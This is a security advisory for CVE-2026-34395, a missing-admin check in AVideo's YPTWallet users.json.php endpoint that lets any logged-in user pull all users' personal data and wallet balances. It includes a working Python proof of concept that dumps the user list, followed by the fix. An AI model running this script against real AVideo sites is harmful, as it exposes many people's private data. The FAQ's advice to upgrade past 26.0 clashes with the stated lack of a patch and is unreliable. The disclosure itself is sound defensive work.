CVE-2026-34395: AVideo: Mass User PII Disclosure via Missing Authorization in YPTWallet users.json.php
Severity: High CWE: CWE-862 (Missing Authorization)
Summary
The plugin/YPTWallet/view/users.json.php endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks User::isLogged() but does not check User::isAdmin(), so any registered user can dump the full user database.
Details
The authorization check at plugin/YPTWallet/view/users.json.php:8:
php if (!User::isLogged()) { die("Is not logged"); }
The query in YPTWallet::getAllUsers() selects all columns from both tables:
php $sql = "SELECT w., u., u.id as userid, IFNULL(balance, 0) as balance FROM users u " . " LEFT JOIN wallet w ON u.id = w.usersid WHERE 1=1 ";
The cleanUpRowFromDatabase() function strips fields matching /pass/i (removes password and recoverPass), but all other PII fields remain: email, phone, address, zipcode, country, region, city, firstname, lastname, birthdate, isAdmin, analyticsCode, donationLink, and balance.
Other endpoints in the same directory (saveBalance.php, adminManageWallets.php, pendingRequests.json.php) all check User::isAdmin().
Proof of Concept
python import requests
TARGET = "https://your-avideo-instance.com"
Step 1: Login as any regular (non-admin) user session = requests.Session() session.post(f"{TARGET}/objects/login.json.php", data={ "user": "regularuser", "pass": "regularpassword" })
Step 2: Request the users endpoint resp = session.post(f"{TARGET}/plugin/YPTWallet/view/users.json.php", data={ "current": "1", "rowCount": "10" })
data = resp.json() print(f"Total users: {data['total']}") for u in data["rows"]: print(f" User: {u['user']}, Email: {u['email']}, Admin: {u['isAdmin']}, Balance: {u['balance']}")
The response contains every user on the platform, including admin accounts, with fields: email, phone, address, zipcode, country, region, city, firstname, lastname, birthdate, isAdmin, balance, analyticsCode, donationLink.
Impact
Any registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA.
Recommended Fix
Change User::isLogged() to User::isAdmin() at plugin/YPTWallet/view/users.json.php:8:
php // plugin/YPTWallet/view/users.json.php:8 // Before: if (!User::isLogged()) { die("Is not logged"); }
// After: if (!User::isAdmin()) { die("Is not logged"); }
This matches the authorization pattern already used by the other endpoints in the same directory (saveBalance.php, adminManageWallets.php, pendingRequests.json.php).
---
Found by aisafe.io
Other sources
WWBN AVideo is an open source video platform. In versions 26.0 and prior, the plugin/YPTWallet/view/users.json.php endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks User::isLogged() but does not check User::isAdmin(), so any registered user can dump the full user database. At time of publication, there are no publicly available patches.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Configuration
In plugin/YPTWallet/view/users.json.php at line 8, change the authorization logic from User::isLogged() to User::isAdmin() (as recommended: “Change User::isLogged() to User::isAdmin() at plugin/YPTWallet/view/users.json.php:8”). This prevents any authenticated (non-admin) user from extracting all platform users’ PII and wallet balances via the users.json.php endpoint.
AVideo plugin YPTWallet (plugin/YPTWallet/view/users.json.php) authorization check User::isLogged() -> User::isAdmin() = replace call so only admins are allowed
Event History
Frequently Asked Questions
What is the severity of CVE-2026-34395?
CVE-2026-34395 has a high severity rating due to the potential exposure of personal information and wallet balances of all users.
How do I fix CVE-2026-34395?
To fix CVE-2026-34395, upgrade to a version of AVideo that is later than 26.0 to ensure proper authorization checks are implemented.
What type of data is exposed in CVE-2026-34395?
CVE-2026-34395 exposes personal user information and wallet balances due to a missing authorization check.
Which versions of AVideo are affected by CVE-2026-34395?
CVE-2026-34395 affects all versions of AVideo up to and including version 26.0.
What is the impact of CVE-2026-34395 on users?
The impact of CVE-2026-34395 is that it allows unauthorized access to sensitive personal information of all platform users.